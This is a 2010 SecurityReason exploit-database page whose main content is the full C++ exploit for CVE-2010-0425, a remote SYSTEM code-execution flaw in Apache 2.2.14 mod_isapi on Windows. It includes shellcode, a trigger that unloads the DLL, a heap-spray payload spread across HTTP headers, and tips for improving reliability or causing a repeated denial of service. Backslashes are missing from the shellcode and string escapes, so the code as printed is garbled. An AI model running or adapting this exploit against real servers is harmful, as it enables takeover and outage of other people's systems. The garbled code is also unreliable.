SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM +Exploit


Arrow  WLB : WLB-2010030028  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-03-07
Arrow  Credit          : Brett Gervasoni
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-03-07] Started

Arrow  Affected software :  Apache 2.2.14 mod_isapi



Arrow  Text :  

/*
* Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit
(CVE-2010-0425)
*
---------------------------------------------------------------------------
---
*
* Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
*
* Description:
* pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14
mod_isapi.
* Due to the nature of the vulnerability, and exploitation method, DEP
should be limited to essential
* Windows programs and services. At worst, if DEP is enabled for the
Apache process, you could cause
* a constant DoS by looping this (since apache will automatically restart)
:)
*
* Note that the exploit code may need to be run multiple times before a
shell is spawned (70%
* success rate - tested on three different systems). Furthermore, the
exploit code may require
* modification to exploit this vulnerability on different platforms. This
is due to loaded memory
* references to the unloaded DLL (they will be different for each ISAPI
module). Do not test
* this code in a VM otherwise the code may fail to send the RESET packet
(something to do with
* VMware gracefully closing the connection, instead of sending a RESET
packet) - I didnt want
* to have to use raw packets on Windows.
*
* Shellcode Note:
* The shellcode writes "pwn-isapi" to "sos.txt" which
is created in the current working directory.
* Most operating systems should be supported by this shellcode. I've used
Skylined's method of finding
* the base address of kernel32.dll for Windows 7 and modified it so that
it will find the base
* address of msvcrt.dll instead. I've also added another check so that it
will be able to detect
* "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll
in 5th position, and before this
* DLL string is read, another DLL (RPCRT4.dll) length is verifiied which
matches the length of
* msvcrt.dll. So the added check will verify the presents of "m"
before proceeding.
*
* Author:
* Brett Gervasoni (brettg [at] senseofsecurity.com.au)
*
* Copyright Sense of Security Pty Ltd 2010.
* http://www.senseofsecurity.com.au
*/

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
string serverIP, isapiDLL;
string triggerVuln, payload;
char accept[171], referer[733], cookie[5376], random[7604],
postData[23379], footer[299];

//custom shellcode that writes "pwn-isapi" to
"sos.txt" in the current working directory
//Note: There are four NOPs at the end for padding. Not really needed.
char shellcode[] =
"x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8b"
"x7ex20x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94"
"x6cx66x39x0fx66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24"
"x8bx45x3cx8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01xebxe3"
"x34x49x8bx34x8bx01xeex31xffx31xc0xfcxacx84xc0x74x07xc1"
"xcfx0dx01xc7xebxf4x3bx7cx24x28x75xe1x8bx5ax24x01xebx66"
"x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61"
"xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4x0cx01x66x81"
"xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75xdexc3"
"xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b"
"xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31"
"xd2x58x88x50x07xebx2fx31xd2x59x88x51x01xebx2ex51x50xff"
"x55x04xebx2cx31xd2x59x88x51x09xebx33x51x50x89xc6xffx55"
"x08x53xffx55x0cxe8xd1xffxffxffx73x6fx73x2ex74x78x74x4e"
"xe8xccxffxffxffx77x4exe8xcdxffxffxffxe8xcfxffxffxffx70"

"x77x6ex2dx69x73x61x70x69x4exe8xc8xffxffxffx90x90x90x90";

header();

if (argc < 3)
{
printf("usage: %s <ip> <DLL>n", argv[0]);
return 1;
}

serverIP = string(argv[1]);
isapiDLL = string(argv[2]);

//all these values could be set to 7601 + sizeof(shellcode)
//but mixing it up is good.
memset(accept, 'A', 170);
memset(referer, 'A', 732);
memset(cookie, 'A', 5375);
memset(random, 'A', 7603);
memset(postData, 'A', 23378);
memset(footer, 'A', 298);

triggerVuln = "POST /cgi-bin/" + isapiDLL + "
HTTP/1.0rn"
"User-Agent: AAAAAAAArn"
"Pragma: no-cachern"
"Proxy-Connection: Keep-Alivern"
"Host: " + serverIP + "rn"
"Content-Length: 40334rnrn" +
string(footer);

//Modify the below request if needed (depending on where your function
pointer is pointing)
//Do so by adding or removing headers. So if you want to hit a higher
function pointer,
//keep adding headers :)
//Note: If performing this blindly, try it a few times, change a bit, try
again.
//During testing i found that using a chunk of data the same size with the
same header name
//was more unreliable. In memory, large amounts of nulls are being placed
either side of the
//payload. Since the function pointer address was random, by slightly
mixing up the size of
//each header i would get better results.
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0rn"
"Accept: " + string(accept) + "rn"
"Referer: " + string(referer) + string(shellcode) +
"rn"
"From: " + string(cookie) + string(shellcode) + "rn"
"Utruvh-guiergher: " + string(cookie) + string(shellcode) +
"rn"
"Accept-Language:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Arn"
"Content-Type:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAArn"
"UA-CPU:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAArn"
"Pragma:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAArn"
"User-Agent:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAArn"
"Cookie: " + string(cookie) + string(shellcode) +
"rn"
"Host: " + serverIP + "rn"
"Proxy-Connection: Keep-Alivern"
"Okytuasd: " + string(cookie) + string(shellcode) +
"rn"
"Asdasdasdasdasd: " + string(random) + string(shellcode) +
"rn"
"Asdasda: " + string(random) + string(shellcode) +
"rn"
"Sewrwefbui: " + string(random) + string(shellcode) +
"rn"
"Qdfasdernu: " + string(random) + string(shellcode) +
"rn"
"Cdffew-asdf: " + string(random) + string(shellcode) +
"rn"
"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Baefrwerifnhu: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Zdsfno: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Psdfsafn: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Ivre-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yvasde-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yuionbsdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yasdasdasdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"asdasdde-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Ertuioert-erf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Content-Length: 25054rnrn" +
string(postData) + "CCCC" + string(shellcode) +
"BBBB" + string(footer);

//Setup connection
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the servern");
return 1;
}

printf("[+] Connected to %s.n", serverIP.c_str());

printf("[+] Setting socket data structure valuesn");
int iOptVal;
int aiOptVal;

struct linger linger_data;

//This is meant to set closesocket to do a "graceful close",
//however this is not the case when WSACancelBlockingCall() is called. A
RESET packet is
//sent as a result - Note that if in a vm, for some reason a RESET packet
does not get sent.
linger_data.l_onoff = 0;
linger_data.l_linger = 0;

setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data,
sizeof(linger_data));
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data,
sizeof(linger_data));

//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet
to be sent
getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data,
&iOptVal);
getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data,
&aiOptVal);
printf(" - SO_LINGER value is set to %ldn",
linger_data.l_onoff);
printf(" - SO_DONTLINGER value is set to %ldn",
linger_data.l_linger);

printf("[*] Triggering DLL unloadn");
sendTransmission(triggerVuln);

Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet
doesn't get sent.
WSACancelBlockingCall(); //Cause reset packet response

Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it
more reliable...
closesocket(sock);

Sleep(2000);
WSACleanup();

Sleep(2000);
printf("[+] The DLL should be unloaded by nown");

//Reconnect to deliver payload
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the servern");
return 1;
}

printf("[*] Sending payloadn");
sendTransmission(payload);

cleanUp();

printf("[+] Check to see if sos.txt was created...n");

return 0;
}

void header()
{
printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit
(CVE-2010-0425)n");
printf("-------------------------------------------------------------
n");
printf(" Brett Gervasoni (brettg [at]
senseofsecurity.com.au)n");
printf(" Copyright Sense of Security Pty Ltd
2010.n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
int result = 0, len = 0;

sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("error: socket()n");
result = 1;
}

rserver.sin_family = AF_INET;
rserver.sin_port = htons(port);
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
memset(&rserver.sin_zero, 0, 8);

len = sizeof(struct sockaddr_in);

if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct
sockaddr_in))) == -1)
{
perror("error: connect()n");
result = 1;
}

return result;
}

//Send a message
int sendTransmission(string message)
{
int bytes_sent = 0;

bytes_sent = send(sock, message.c_str(), message.length(), 0);
if (bytes_sent < 0)
{
perror("error: send()n");
exit(1);
}

return bytes_sent;
}

//Receive a message
string recvTransmission()
{
string result;
char *c = new char[1];
int bytes_recv = 0;

while (c[0] != NULL)
{
bytes_recv = recv(sock, c, 1, 0);

if (bytes_recv < 0)
{
perror("error: recv()n");
//exit(1);
}

result += c[0];
}

return result;
}

//Clean up the connection
void cleanUp()
{
closesocket(sock);
WSACleanup();
}


Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.